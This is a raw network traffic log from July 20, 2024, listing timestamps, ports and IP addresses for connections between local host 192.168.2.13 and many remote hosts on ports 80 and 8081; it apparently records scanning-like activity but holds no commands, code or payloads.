Jul 20, 2024 23:05:43.815951109 CEST	80	21679	95.94.25.204	192.168.2.13
Jul 20, 2024 23:05:43.816040993 CEST	38598	80	192.168.2.13	95.96.37.96
Jul 20, 2024 23:05:43.816040993 CEST	48736	8081	192.168.2.13	86.28.105.133
Jul 20, 2024 23:05:43.816143036 CEST	33918	80	192.168.2.13	95.200.69.55
Jul 20, 2024 23:05:43.816143036 CEST	59312	8081	192.168.2.13	115.193.221.183
Jul 20, 2024 23:05:43.816160917 CEST	43439	8081	192.168.2.13	133.216.2.227
Jul 20, 2024 23:05:43.816160917 CEST	43439	8081	192.168.2.13	180.233.160.163
Jul 20, 2024 23:05:43.816189051 CEST	43439	8081	192.168.2.13	148.104.166.3
Jul 20, 2024 23:05:43.816246033 CEST	43439	8081	192.168.2.13	39.160.212.95
Jul 20, 2024 23:05:43.816248894 CEST	37304	80	192.168.2.13	95.27.212.157
Jul 20, 2024 23:05:43.816250086 CEST	55396	8081	192.168.2.13	120.245.6.162
Jul 20, 2024 23:05:43.816250086 CEST	41374	8081	192.168.2.13	68.208.130.213
Jul 20, 2024 23:05:43.816266060 CEST	80	21679	95.48.233.123	192.168.2.13
Jul 20, 2024 23:05:43.816272020 CEST	80	21679	95.237.24.248	192.168.2.13
Jul 20, 2024 23:05:43.816281080 CEST	80	21679	95.17.175.84	192.168.2.13
Jul 20, 2024 23:05:43.816414118 CEST	8081	56208	1.70.190.239	192.168.2.13
Jul 20, 2024 23:05:43.816418886 CEST	80	21679	95.67.5.9	192.168.2.13
Jul 20, 2024 23:05:43.816423893 CEST	80	21679	95.95.133.152	192.168.2.13
Jul 20, 2024 23:05:43.816437960 CEST	80	58400	95.199.121.127	192.168.2.13
Jul 20, 2024 23:05:43.816447973 CEST	80	21679	95.167.137.13	192.168.2.13
Jul 20, 2024 23:05:43.816833973 CEST	43439	8081	192.168.2.13	139.32.96.77
Jul 20, 2024 23:05:43.816834927 CEST	43439	8081	192.168.2.13	165.35.3.0
Jul 20, 2024 23:05:43.816834927 CEST	43439	8081	192.168.2.13	93.44.252.28
Jul 20, 2024 23:05:43.816834927 CEST	43439	8081	192.168.2.13	197.197.71.66
Jul 20, 2024 23:05:43.816834927 CEST	43439	8081	192.168.2.13	171.210.244.37
Jul 20, 2024 23:05:43.816834927 CEST	43439	8081	192.168.2.13	216.129.165.243
Jul 20, 2024 23:05:43.816834927 CEST	43439	8081	192.168.2.13	204.227.37.97
Jul 20, 2024 23:05:43.816834927 CEST	43439	8081	192.168.2.13	76.128.166.144
Jul 20, 2024 23:05:43.817003965 CEST	43439	8081	192.168.2.13	223.107.38.37
Jul 20, 2024 23:05:43.817003965 CEST	43439	8081	192.168.2.13	204.14.34.26
Jul 20, 2024 23:05:43.817003965 CEST	43439	8081	192.168.2.13	117.148.184.206
Jul 20, 2024 23:05:43.817003965 CEST	43439	8081	192.168.2.13	204.2.83.132
Jul 20, 2024 23:05:43.817003965 CEST	43439	8081	192.168.2.13	208.164.111.128
Jul 20, 2024 23:05:43.817003965 CEST	43439	8081	192.168.2.13	121.215.50.138
Jul 20, 2024 23:05:43.817003965 CEST	43439	8081	192.168.2.13	37.80.33.132
Jul 20, 2024 23:05:43.817203999 CEST	80	21679	95.177.214.172	192.168.2.13
Jul 20, 2024 23:05:43.817209005 CEST	8081	55198	120.245.6.162	192.168.2.13
Jul 20, 2024 23:05:43.817464113 CEST	43439	8081	192.168.2.13	128.61.69.135
Jul 20, 2024 23:05:43.817464113 CEST	43439	8081	192.168.2.13	119.101.195.96
Jul 20, 2024 23:05:43.817464113 CEST	43439	8081	192.168.2.13	223.10.101.195
Jul 20, 2024 23:05:43.817464113 CEST	43439	8081	192.168.2.13	63.102.7.183
Jul 20, 2024 23:05:43.817464113 CEST	43439	8081	192.168.2.13	168.67.153.59
Jul 20, 2024 23:05:43.817464113 CEST	43439	8081	192.168.2.13	172.212.47.121
Jul 20, 2024 23:05:43.817464113 CEST	43439	8081	192.168.2.13	4.113.121.86
Jul 20, 2024 23:05:43.817464113 CEST	43439	8081	192.168.2.13	129.203.1.236
Jul 20, 2024 23:05:43.817938089 CEST	80	21679	95.36.97.154	192.168.2.13
Jul 20, 2024 23:05:43.817941904 CEST	80	21679	95.134.174.69	192.168.2.13
Jul 20, 2024 23:05:43.817953110 CEST	80	21679	95.47.140.188	192.168.2.13
Jul 20, 2024 23:05:43.818007946 CEST	80	21679	95.184.73.82	192.168.2.13
Jul 20, 2024 23:05:43.818011999 CEST	80	21679	95.157.209.104	192.168.2.13
Jul 20, 2024 23:05:43.818021059 CEST	80	21679	95.76.74.68	192.168.2.13
Jul 20, 2024 23:05:43.818026066 CEST	80	21679	95.250.101.205	192.168.2.13
Jul 20, 2024 23:05:43.818036079 CEST	80	21679	95.35.28.12	192.168.2.13
Jul 20, 2024 23:05:43.818039894 CEST	80	21679	95.197.240.3	192.168.2.13
Jul 20, 2024 23:05:43.818114996 CEST	80	21679	95.31.248.208	192.168.2.13
Jul 20, 2024 23:05:43.818120003 CEST	80	21679	95.167.251.156	192.168.2.13
Jul 20, 2024 23:05:43.818129063 CEST	80	21679	95.200.208.66	192.168.2.13
Jul 20, 2024 23:05:43.818133116 CEST	80	21679	95.53.143.174	192.168.2.13
Jul 20, 2024 23:05:43.818181992 CEST	80	21679	95.21.96.143	192.168.2.13
Jul 20, 2024 23:05:43.818186045 CEST	80	21679	95.217.13.169	192.168.2.13
Jul 20, 2024 23:05:43.818195105 CEST	80	21679	95.116.63.54	192.168.2.13
Jul 20, 2024 23:05:43.818198919 CEST	80	21679	95.214.161.11	192.168.2.13
Jul 20, 2024 23:05:43.818207979 CEST	80	21679	95.248.26.116	192.168.2.13
Jul 20, 2024 23:05:43.818212986 CEST	80	21679	95.154.101.229	192.168.2.13
Jul 20, 2024 23:05:43.818217039 CEST	80	21679	95.213.244.235	192.168.2.13
Jul 20, 2024 23:05:43.818221092 CEST	80	21679	95.163.240.162	192.168.2.13
Jul 20, 2024 23:05:43.818226099 CEST	80	21679	95.218.169.177	192.168.2.13
Jul 20, 2024 23:05:43.818567038 CEST	80	41892	95.163.39.25	192.168.2.13
Jul 20, 2024 23:05:43.818897963 CEST	43439	8081	192.168.2.13	118.106.200.8
Jul 20, 2024 23:05:43.818897963 CEST	58400	80	192.168.2.13	95.199.121.127
Jul 20, 2024 23:05:43.818897963 CEST	43439	8081	192.168.2.13	147.95.50.200
Jul 20, 2024 23:05:43.818897963 CEST	43439	8081	192.168.2.13	163.215.202.155
Jul 20, 2024 23:05:43.818897963 CEST	43439	8081	192.168.2.13	8.239.52.142
Jul 20, 2024 23:05:43.818897963 CEST	43439	8081	192.168.2.13	75.117.119.205
Jul 20, 2024 23:05:43.818897963 CEST	43439	8081	192.168.2.13	223.216.201.168
Jul 20, 2024 23:05:43.818897963 CEST	43439	8081	192.168.2.13	57.163.170.167
Jul 20, 2024 23:05:43.818928003 CEST	80	48844	95.82.15.117	192.168.2.13
Jul 20, 2024 23:05:43.818943024 CEST	80	21679	95.11.222.96	192.168.2.13
Jul 20, 2024 23:05:43.819808006 CEST	43439	8081	192.168.2.13	164.112.8.185
Jul 20, 2024 23:05:43.819808006 CEST	43439	8081	192.168.2.13	123.142.31.182
Jul 20, 2024 23:05:43.819808006 CEST	43439	8081	192.168.2.13	200.167.157.127
Jul 20, 2024 23:05:43.819808006 CEST	43439	8081	192.168.2.13	60.165.79.132
Jul 20, 2024 23:05:43.819808006 CEST	43439	8081	192.168.2.13	201.244.74.229
Jul 20, 2024 23:05:43.819808006 CEST	43439	8081	192.168.2.13	141.165.175.124
Jul 20, 2024 23:05:43.819808006 CEST	43439	8081	192.168.2.13	71.127.3.34
Jul 20, 2024 23:05:43.820178032 CEST	43439	8081	192.168.2.13	186.61.181.249
Jul 20, 2024 23:05:43.820178032 CEST	43439	8081	192.168.2.13	134.18.22.29
Jul 20, 2024 23:05:43.820178032 CEST	43439	8081	192.168.2.13	188.149.188.157
Jul 20, 2024 23:05:43.820178032 CEST	43439	8081	192.168.2.13	137.123.243.235
Jul 20, 2024 23:05:43.820178032 CEST	43439	8081	192.168.2.13	58.160.214.99
Jul 20, 2024 23:05:43.820178032 CEST	43439	8081	192.168.2.13	145.69.183.12
Jul 20, 2024 23:05:43.820178032 CEST	43439	8081	192.168.2.13	121.50.192.3
Jul 20, 2024 23:05:43.820178032 CEST	43439	8081	192.168.2.13	61.113.11.163
Jul 20, 2024 23:05:43.821422100 CEST	21679	80	192.168.2.13	95.164.222.92
Jul 20, 2024 23:05:43.821422100 CEST	21679	80	192.168.2.13	95.38.174.255
Jul 20, 2024 23:05:43.821422100 CEST	21679	80	192.168.2.13	95.214.53.114
Jul 20, 2024 23:05:43.821423054 CEST	21679	80	192.168.2.13	95.94.25.204
Jul 20, 2024 23:05:43.821423054 CEST	43439	8081	192.168.2.13	96.163.32.157
Jul 20, 2024 23:05:43.821423054 CEST	43439	8081	192.168.2.13	120.170.8.41
Jul 20, 2024 23:05:43.821628094 CEST	43439	8081	192.168.2.13	145.24.55.142
Jul 20, 2024 23:05:43.821628094 CEST	43439	8081	192.168.2.13	122.67.101.96
Jul 20, 2024 23:05:43.821628094 CEST	43439	8081	192.168.2.13	70.168.15.16
Jul 20, 2024 23:05:43.821628094 CEST	43439	8081	192.168.2.13	141.138.37.166
Jul 20, 2024 23:05:43.821629047 CEST	43439	8081	192.168.2.13	47.159.65.141
Jul 20, 2024 23:05:43.821629047 CEST	43439	8081	192.168.2.13	119.69.98.197
Jul 20, 2024 23:05:43.821629047 CEST	43439	8081	192.168.2.13	145.66.34.107
Jul 20, 2024 23:05:43.821629047 CEST	43439	8081	192.168.2.13	112.199.16.104
Jul 20, 2024 23:05:43.823071957 CEST	43439	8081	192.168.2.13	139.138.191.133
Jul 20, 2024 23:05:43.823640108 CEST	80	21679	95.100.186.55	192.168.2.13
Jul 20, 2024 23:05:43.823654890 CEST	80	21679	95.220.253.229	192.168.2.13
Jul 20, 2024 23:05:43.823658943 CEST	80	21679	95.190.154.96	192.168.2.13
Jul 20, 2024 23:05:43.823673964 CEST	80	21679	95.6.24.139	192.168.2.13
Jul 20, 2024 23:05:43.823678970 CEST	80	21679	95.203.142.135	192.168.2.13
Jul 20, 2024 23:05:43.823683977 CEST	80	21679	95.149.86.158	192.168.2.13
Jul 20, 2024 23:05:43.823698044 CEST	80	21679	95.168.226.180	192.168.2.13
Jul 20, 2024 23:05:43.823703051 CEST	80	21679	95.135.246.199	192.168.2.13
Jul 20, 2024 23:05:43.823710918 CEST	80	21679	95.39.208.120	192.168.2.13
Jul 20, 2024 23:05:43.823714972 CEST	8081	46668	120.161.159.9	192.168.2.13
Jul 20, 2024 23:05:43.823719025 CEST	80	21679	95.123.181.38	192.168.2.13
Jul 20, 2024 23:05:43.823960066 CEST	43439	8081	192.168.2.13	97.216.245.248
Jul 20, 2024 23:05:43.823960066 CEST	43439	8081	192.168.2.13	124.240.54.115
Jul 20, 2024 23:05:43.823960066 CEST	43439	8081	192.168.2.13	173.156.2.136
Jul 20, 2024 23:05:43.823960066 CEST	43439	8081	192.168.2.13	218.144.144.73
Jul 20, 2024 23:05:43.823960066 CEST	43439	8081	192.168.2.13	181.67.231.10
Jul 20, 2024 23:05:43.823960066 CEST	43439	8081	192.168.2.13	91.155.31.222
Jul 20, 2024 23:05:43.823960066 CEST	43439	8081	192.168.2.13	58.181.16.4
Jul 20, 2024 23:05:43.823960066 CEST	43439	8081	192.168.2.13	100.4.120.218
Jul 20, 2024 23:05:43.824032068 CEST	80	50222	95.12.52.181	192.168.2.13
Jul 20, 2024 23:05:43.824038029 CEST	80	21679	95.77.65.141	192.168.2.13
Jul 20, 2024 23:05:43.824048042 CEST	8081	54952	102.95.56.173	192.168.2.13
Jul 20, 2024 23:05:43.824052095 CEST	8081	38322	129.234.53.71	192.168.2.13
Jul 20, 2024 23:05:43.824063063 CEST	80	21679	95.78.62.180	192.168.2.13
Jul 20, 2024 23:05:43.824069023 CEST	8081	51096	36.176.160.146	192.168.2.13
Jul 20, 2024 23:05:43.824074030 CEST	80	21679	95.22.107.116	192.168.2.13
Jul 20, 2024 23:05:43.824079037 CEST	80	21679	95.209.251.104	192.168.2.13
Jul 20, 2024 23:05:43.824083090 CEST	80	21679	95.218.67.198	192.168.2.13
Jul 20, 2024 23:05:43.824096918 CEST	80	21679	95.184.226.90	192.168.2.13
Jul 20, 2024 23:05:43.824105978 CEST	80	21679	95.220.129.153	192.168.2.13
Jul 20, 2024 23:05:43.824110031 CEST	80	21679	95.215.54.96	192.168.2.13
Jul 20, 2024 23:05:43.824120045 CEST	80	21679	95.254.33.254	192.168.2.13
Jul 20, 2024 23:05:43.824124098 CEST	80	21679	95.42.231.24	192.168.2.13
Jul 20, 2024 23:05:43.824314117 CEST	80	21679	95.22.70.113	192.168.2.13
Jul 20, 2024 23:05:43.824326992 CEST	80	21679	95.98.10.163	192.168.2.13
Jul 20, 2024 23:05:43.824336052 CEST	80	21679	95.245.214.0	192.168.2.13
Jul 20, 2024 23:05:43.824341059 CEST	80	21679	95.88.100.57	192.168.2.13
Jul 20, 2024 23:05:43.824348927 CEST	80	21679	95.117.81.232	192.168.2.13
Jul 20, 2024 23:05:43.824353933 CEST	80	21679	95.95.85.151	192.168.2.13
Jul 20, 2024 23:05:43.824362993 CEST	80	21679	95.168.103.108	192.168.2.13
Jul 20, 2024 23:05:43.824367046 CEST	80	21679	95.57.42.212	192.168.2.13
Jul 20, 2024 23:05:43.824371099 CEST	80	21679	95.29.159.251	192.168.2.13
Jul 20, 2024 23:05:43.824385881 CEST	80	21679	95.107.177.164	192.168.2.13
Jul 20, 2024 23:05:43.824394941 CEST	80	21679	95.217.208.228	192.168.2.13
Jul 20, 2024 23:05:43.824409008 CEST	80	21679	95.40.147.159	192.168.2.13
Jul 20, 2024 23:05:43.824414015 CEST	80	21679	95.180.88.254	192.168.2.13
Jul 20, 2024 23:05:43.824418068 CEST	80	21679	95.56.98.255	192.168.2.13
Jul 20, 2024 23:05:43.824421883 CEST	80	21679	95.142.81.22	192.168.2.13
Jul 20, 2024 23:05:43.824425936 CEST	80	21679	95.189.25.164	192.168.2.13
Jul 20, 2024 23:05:43.824434996 CEST	80	21679	95.208.188.74	192.168.2.13
Jul 20, 2024 23:05:43.824445963 CEST	80	21679	95.120.181.45	192.168.2.13
Jul 20, 2024 23:05:43.825143099 CEST	21679	80	192.168.2.13	95.10.160.219
Jul 20, 2024 23:05:43.825143099 CEST	21679	80	192.168.2.13	95.170.49.22
Jul 20, 2024 23:05:43.825143099 CEST	21679	80	192.168.2.13	95.224.0.28
Jul 20, 2024 23:05:43.825387955 CEST	80	21679	95.175.153.47	192.168.2.13
Jul 20, 2024 23:05:43.825392962 CEST	80	21679	95.87.135.33	192.168.2.13
Jul 20, 2024 23:05:43.825402975 CEST	8081	43439	133.216.2.227	192.168.2.13
Jul 20, 2024 23:05:43.825407028 CEST	8081	43439	148.104.166.3	192.168.2.13
Jul 20, 2024 23:05:43.825417042 CEST	8081	43439	139.32.96.77	192.168.2.13
Jul 20, 2024 23:05:43.825474977 CEST	43439	8081	192.168.2.13	54.124.79.111
Jul 20, 2024 23:05:43.825474977 CEST	43439	8081	192.168.2.13	177.54.176.92
Jul 20, 2024 23:05:43.825474977 CEST	43439	8081	192.168.2.13	126.23.219.122
Jul 20, 2024 23:05:43.825474977 CEST	43439	8081	192.168.2.13	57.222.21.106
Jul 20, 2024 23:05:43.825475931 CEST	43439	8081	192.168.2.13	183.19.193.120
Jul 20, 2024 23:05:43.825475931 CEST	43439	8081	192.168.2.13	110.212.192.180
Jul 20, 2024 23:05:43.825555086 CEST	8081	43439	223.107.38.37	192.168.2.13
Jul 20, 2024 23:05:43.825558901 CEST	8081	43439	165.35.3.0	192.168.2.13
Jul 20, 2024 23:05:43.825567961 CEST	8081	43439	180.233.160.163	192.168.2.13
Jul 20, 2024 23:05:43.825582027 CEST	8081	43439	204.14.34.26	192.168.2.13
Jul 20, 2024 23:05:43.825589895 CEST	8081	43439	93.44.252.28	192.168.2.13
Jul 20, 2024 23:05:43.825594902 CEST	8081	43439	128.61.69.135	192.168.2.13
Jul 20, 2024 23:05:43.825598955 CEST	52208	8081	192.168.2.13	137.17.247.121
Jul 20, 2024 23:05:43.825598955 CEST	43439	8081	192.168.2.13	100.216.201.143
Jul 20, 2024 23:05:43.825598955 CEST	43439	8081	192.168.2.13	71.80.64.175
Jul 20, 2024 23:05:43.825598955 CEST	43439	8081	192.168.2.13	174.65.10.134
Jul 20, 2024 23:05:43.825598955 CEST	43439	8081	192.168.2.13	148.182.95.161
Jul 20, 2024 23:05:43.825598955 CEST	43439	8081	192.168.2.13	101.54.73.246
Jul 20, 2024 23:05:43.825604916 CEST	8081	43439	117.148.184.206	192.168.2.13
Jul 20, 2024 23:05:43.825609922 CEST	8081	43439	197.197.71.66	192.168.2.13
Jul 20, 2024 23:05:43.825618982 CEST	8081	43439	204.2.83.132	192.168.2.13
Jul 20, 2024 23:05:43.825704098 CEST	8081	43439	119.101.195.96	192.168.2.13
Jul 20, 2024 23:05:43.825709105 CEST	8081	43439	208.164.111.128	192.168.2.13
Jul 20, 2024 23:05:43.825717926 CEST	8081	43439	223.10.101.195	192.168.2.13
Jul 20, 2024 23:05:43.825721979 CEST	8081	43439	121.215.50.138	192.168.2.13
Jul 20, 2024 23:05:43.825731039 CEST	8081	43439	63.102.7.183	192.168.2.13
Jul 20, 2024 23:05:43.825736046 CEST	8081	43439	37.80.33.132	192.168.2.13
Jul 20, 2024 23:05:43.825745106 CEST	8081	43439	171.210.244.37	192.168.2.13
Jul 20, 2024 23:05:43.825748920 CEST	8081	43439	168.67.153.59	192.168.2.13
Jul 20, 2024 23:05:43.825757980 CEST	8081	43439	216.129.165.243	192.168.2.13
Jul 20, 2024 23:05:43.825762987 CEST	8081	43439	118.106.200.8	192.168.2.13
Jul 20, 2024 23:05:43.825772047 CEST	8081	43439	204.227.37.97	192.168.2.13
Jul 20, 2024 23:05:43.825776100 CEST	8081	43439	172.212.47.121	192.168.2.13
Jul 20, 2024 23:05:43.826966047 CEST	43439	8081	192.168.2.13	133.216.2.227
Jul 20, 2024 23:05:43.826966047 CEST	43439	8081	192.168.2.13	180.233.160.163
Jul 20, 2024 23:05:43.826966047 CEST	43439	8081	192.168.2.13	128.61.69.135
Jul 20, 2024 23:05:43.826966047 CEST	43439	8081	192.168.2.13	119.101.195.96
Jul 20, 2024 23:05:43.826966047 CEST	43439	8081	192.168.2.13	223.10.101.195
Jul 20, 2024 23:05:43.826966047 CEST	43439	8081	192.168.2.13	63.102.7.183
Jul 20, 2024 23:05:43.826966047 CEST	43439	8081	192.168.2.13	168.67.153.59
Jul 20, 2024 23:05:43.826966047 CEST	43439	8081	192.168.2.13	172.212.47.121
Jul 20, 2024 23:05:43.827275038 CEST	80	54004	95.83.248.117	192.168.2.13
Jul 20, 2024 23:05:43.827874899 CEST	43439	8081	192.168.2.13	139.32.96.77
Jul 20, 2024 23:05:43.827874899 CEST	43439	8081	192.168.2.13	165.35.3.0
Jul 20, 2024 23:05:43.827874899 CEST	43439	8081	192.168.2.13	93.44.252.28
Jul 20, 2024 23:05:43.827874899 CEST	43439	8081	192.168.2.13	197.197.71.66
Jul 20, 2024 23:05:43.828262091 CEST	21679	80	192.168.2.13	95.192.3.236
Jul 20, 2024 23:05:43.828262091 CEST	21679	80	192.168.2.13	95.15.68.157
Jul 20, 2024 23:05:43.828262091 CEST	48736	8081	192.168.2.13	86.28.105.133
Jul 20, 2024 23:05:43.828263044 CEST	21679	80	192.168.2.13	95.105.85.226
Jul 20, 2024 23:05:43.828263044 CEST	21679	80	192.168.2.13	95.24.174.35
Jul 20, 2024 23:05:43.828263044 CEST	21679	80	192.168.2.13	95.242.62.139
Jul 20, 2024 23:05:43.828263044 CEST	45946	8081	192.168.2.13	139.176.103.99
Jul 20, 2024 23:05:43.828923941 CEST	43439	8081	192.168.2.13	77.29.216.190
Jul 20, 2024 23:05:43.828923941 CEST	48844	80	192.168.2.13	95.82.15.117
Jul 20, 2024 23:05:43.828923941 CEST	43439	8081	192.168.2.13	148.104.166.3
Jul 20, 2024 23:05:43.828923941 CEST	43439	8081	192.168.2.13	223.107.38.37
Jul 20, 2024 23:05:43.828923941 CEST	43439	8081	192.168.2.13	204.14.34.26
Jul 20, 2024 23:05:43.828923941 CEST	43439	8081	192.168.2.13	117.148.184.206
Jul 20, 2024 23:05:43.828923941 CEST	43439	8081	192.168.2.13	204.2.83.132
Jul 20, 2024 23:05:43.829046965 CEST	43439	8081	192.168.2.13	171.210.244.37
Jul 20, 2024 23:05:43.829046965 CEST	43439	8081	192.168.2.13	216.129.165.243
Jul 20, 2024 23:05:43.829046965 CEST	43439	8081	192.168.2.13	204.227.37.97
Jul 20, 2024 23:05:43.831233978 CEST	43439	8081	192.168.2.13	208.164.111.128
Jul 20, 2024 23:05:43.831233978 CEST	43439	8081	192.168.2.13	121.215.50.138
Jul 20, 2024 23:05:43.831233978 CEST	43439	8081	192.168.2.13	37.80.33.132
Jul 20, 2024 23:05:43.831233978 CEST	43439	8081	192.168.2.13	118.106.200.8
Jul 20, 2024 23:05:43.831732988 CEST	8081	53426	133.97.201.216	192.168.2.13
Jul 20, 2024 23:05:43.831748962 CEST	8081	59312	115.193.221.183	192.168.2.13
Jul 20, 2024 23:05:43.831773043 CEST	8081	43439	76.128.166.144	192.168.2.13
Jul 20, 2024 23:05:43.831777096 CEST	8081	43439	4.113.121.86	192.168.2.13
Jul 20, 2024 23:05:43.831779003 CEST	53426	8081	192.168.2.13	133.97.201.216
Jul 20, 2024 23:05:43.831820965 CEST	43439	8081	192.168.2.13	76.128.166.144
Jul 20, 2024 23:05:43.831825018 CEST	8081	43439	147.95.50.200	192.168.2.13
Jul 20, 2024 23:05:43.831830978 CEST	8081	43439	129.203.1.236	192.168.2.13
Jul 20, 2024 23:05:43.831840038 CEST	8081	43439	163.215.202.155	192.168.2.13
Jul 20, 2024 23:05:43.831921101 CEST	8081	43439	186.61.181.249	192.168.2.13
Jul 20, 2024 23:05:43.831926107 CEST	8081	43439	8.239.52.142	192.168.2.13
Jul 20, 2024 23:05:43.831934929 CEST	8081	43439	134.18.22.29	192.168.2.13
Jul 20, 2024 23:05:43.831938982 CEST	8081	43439	75.117.119.205	192.168.2.13
Jul 20, 2024 23:05:43.831948042 CEST	8081	43439	188.149.188.157	192.168.2.13
Jul 20, 2024 23:05:43.831953049 CEST	8081	43439	223.216.201.168	192.168.2.13
Jul 20, 2024 23:05:43.831960917 CEST	8081	43439	137.123.243.235	192.168.2.13
Jul 20, 2024 23:05:43.831965923 CEST	8081	43439	57.163.170.167	192.168.2.13
Jul 20, 2024 23:05:43.831974983 CEST	8081	43439	58.160.214.99	192.168.2.13
Jul 20, 2024 23:05:43.831979990 CEST	8081	43439	164.112.8.185	192.168.2.13
Jul 20, 2024 23:05:43.831989050 CEST	8081	43439	123.142.31.182	192.168.2.13
Jul 20, 2024 23:05:43.831993103 CEST	8081	43439	145.69.183.12	192.168.2.13
Jul 20, 2024 23:05:43.832000971 CEST	8081	43439	145.24.55.142	192.168.2.13
Jul 20, 2024 23:05:43.832031965 CEST	8081	43439	121.50.192.3	192.168.2.13
Jul 20, 2024 23:05:43.832036018 CEST	8081	43439	122.67.101.96	192.168.2.13
Jul 20, 2024 23:05:43.832046032 CEST	8081	43439	200.167.157.127	192.168.2.13
Jul 20, 2024 23:05:43.832050085 CEST	8081	43439	61.113.11.163	192.168.2.13
Jul 20, 2024 23:05:43.832058907 CEST	8081	43439	60.165.79.132	192.168.2.13
Jul 20, 2024 23:05:43.832061052 CEST	43439	8081	192.168.2.13	4.113.121.86
Jul 20, 2024 23:05:43.832062006 CEST	43439	8081	192.168.2.13	129.203.1.236
Jul 20, 2024 23:05:43.832062960 CEST	8081	43439	70.168.15.16	192.168.2.13
Jul 20, 2024 23:05:43.832062006 CEST	43439	8081	192.168.2.13	186.61.181.249
Jul 20, 2024 23:05:43.832062006 CEST	43439	8081	192.168.2.13	134.18.22.29
Jul 20, 2024 23:05:43.832062006 CEST	43439	8081	192.168.2.13	188.149.188.157
Jul 20, 2024 23:05:43.832062006 CEST	43439	8081	192.168.2.13	137.123.243.235
Jul 20, 2024 23:05:43.832062006 CEST	43439	8081	192.168.2.13	58.160.214.99
Jul 20, 2024 23:05:43.832062006 CEST	43439	8081	192.168.2.13	145.69.183.12
Jul 20, 2024 23:05:43.832176924 CEST	8081	43439	201.244.74.229	192.168.2.13
Jul 20, 2024 23:05:43.832186937 CEST	43439	8081	192.168.2.13	164.112.8.185
Jul 20, 2024 23:05:43.832186937 CEST	43439	8081	192.168.2.13	123.142.31.182
Jul 20, 2024 23:05:43.832187891 CEST	43439	8081	192.168.2.13	200.167.157.127
Jul 20, 2024 23:05:43.832187891 CEST	43439	8081	192.168.2.13	60.165.79.132
Jul 20, 2024 23:05:43.832882881 CEST	80	21679	95.165.121.237	192.168.2.13
Jul 20, 2024 23:05:43.832936049 CEST	8081	43439	39.160.212.95	192.168.2.13
Jul 20, 2024 23:05:43.833282948 CEST	43439	8081	192.168.2.13	142.211.36.224
Jul 20, 2024 23:05:43.833282948 CEST	43439	8081	192.168.2.13	20.129.231.127
Jul 20, 2024 23:05:43.833282948 CEST	21679	80	192.168.2.13	95.48.233.123
Jul 20, 2024 23:05:43.833282948 CEST	21679	80	192.168.2.13	95.17.175.84
Jul 20, 2024 23:05:43.833282948 CEST	43439	8081	192.168.2.13	181.136.205.166
Jul 20, 2024 23:05:43.833282948 CEST	37472	8081	192.168.2.13	154.38.133.150
Jul 20, 2024 23:05:43.833282948 CEST	43439	8081	192.168.2.13	222.36.209.242
Jul 20, 2024 23:05:43.833282948 CEST	43439	8081	192.168.2.13	204.114.132.223
Jul 20, 2024 23:05:43.834244967 CEST	43439	8081	192.168.2.13	147.95.50.200
Jul 20, 2024 23:05:43.834244967 CEST	43439	8081	192.168.2.13	163.215.202.155
Jul 20, 2024 23:05:43.834244967 CEST	43439	8081	192.168.2.13	8.239.52.142
Jul 20, 2024 23:05:43.834244967 CEST	43439	8081	192.168.2.13	75.117.119.205
Jul 20, 2024 23:05:43.834244967 CEST	43439	8081	192.168.2.13	223.216.201.168
Jul 20, 2024 23:05:43.834244967 CEST	43439	8081	192.168.2.13	57.163.170.167
Jul 20, 2024 23:05:43.834244967 CEST	43439	8081	192.168.2.13	145.24.55.142
Jul 20, 2024 23:05:43.834244967 CEST	43439	8081	192.168.2.13	122.67.101.96
Jul 20, 2024 23:05:43.834362030 CEST	43439	8081	192.168.2.13	201.244.74.229
Jul 20, 2024 23:05:43.834873915 CEST	80	37304	95.27.212.157	192.168.2.13
Jul 20, 2024 23:05:43.834880114 CEST	8081	43439	97.216.245.248	192.168.2.13
Jul 20, 2024 23:05:43.835138083 CEST	8081	43439	139.138.191.133	192.168.2.13
Jul 20, 2024 23:05:43.835243940 CEST	8081	43439	141.165.175.124	192.168.2.13
Jul 20, 2024 23:05:43.835248947 CEST	80	21679	95.146.106.16	192.168.2.13
Jul 20, 2024 23:05:43.835304976 CEST	43439	8081	192.168.2.13	141.165.175.124
Jul 20, 2024 23:05:43.835380077 CEST	80	21679	95.20.68.219	192.168.2.13
Jul 20, 2024 23:05:43.835390091 CEST	8081	55396	120.245.6.162	192.168.2.13
Jul 20, 2024 23:05:43.835393906 CEST	8081	43439	71.127.3.34	192.168.2.13
Jul 20, 2024 23:05:43.835407972 CEST	8081	41374	68.208.130.213	192.168.2.13
Jul 20, 2024 23:05:43.835412025 CEST	8081	43439	54.124.79.111	192.168.2.13
Jul 20, 2024 23:05:43.835782051 CEST	43439	8081	192.168.2.13	71.127.3.34
Jul 20, 2024 23:05:43.835782051 CEST	43439	8081	192.168.2.13	54.124.79.111
Jul 20, 2024 23:05:43.837378979 CEST	43439	8081	192.168.2.13	121.50.192.3
Jul 20, 2024 23:05:43.837378979 CEST	43439	8081	192.168.2.13	61.113.11.163
Jul 20, 2024 23:05:43.837378979 CEST	43439	8081	192.168.2.13	139.138.191.133
Jul 20, 2024 23:05:43.838088989 CEST	43439	8081	192.168.2.13	197.42.114.20
Jul 20, 2024 23:05:43.838089943 CEST	43439	8081	192.168.2.13	87.218.183.140
Jul 20, 2024 23:05:43.838089943 CEST	43439	8081	192.168.2.13	146.126.129.204
Jul 20, 2024 23:05:43.838089943 CEST	43439	8081	192.168.2.13	64.166.68.131
Jul 20, 2024 23:05:43.838089943 CEST	43439	8081	192.168.2.13	112.67.78.72
Jul 20, 2024 23:05:43.838089943 CEST	43439	8081	192.168.2.13	156.214.118.163
Jul 20, 2024 23:05:43.838464022 CEST	50576	80	192.168.2.13	95.12.52.181
Jul 20, 2024 23:05:43.838464022 CEST	21679	80	192.168.2.13	95.116.26.181
Jul 20, 2024 23:05:43.838464022 CEST	21679	80	192.168.2.13	95.138.149.175
Jul 20, 2024 23:05:43.838464022 CEST	21679	80	192.168.2.13	95.227.207.220
Jul 20, 2024 23:05:43.838464022 CEST	21679	80	192.168.2.13	95.55.86.238
Jul 20, 2024 23:05:43.838464022 CEST	43439	8081	192.168.2.13	17.43.178.121
Jul 20, 2024 23:05:43.838464022 CEST	43439	8081	192.168.2.13	213.208.13.112
Jul 20, 2024 23:05:43.838464022 CEST	21679	80	192.168.2.13	95.237.24.248
Jul 20, 2024 23:05:43.838810921 CEST	43439	8081	192.168.2.13	204.238.227.79
Jul 20, 2024 23:05:43.838810921 CEST	43439	8081	192.168.2.13	222.73.141.205
Jul 20, 2024 23:05:43.838810921 CEST	43439	8081	192.168.2.13	142.183.164.174
Jul 20, 2024 23:05:43.838810921 CEST	43439	8081	192.168.2.13	110.77.189.42
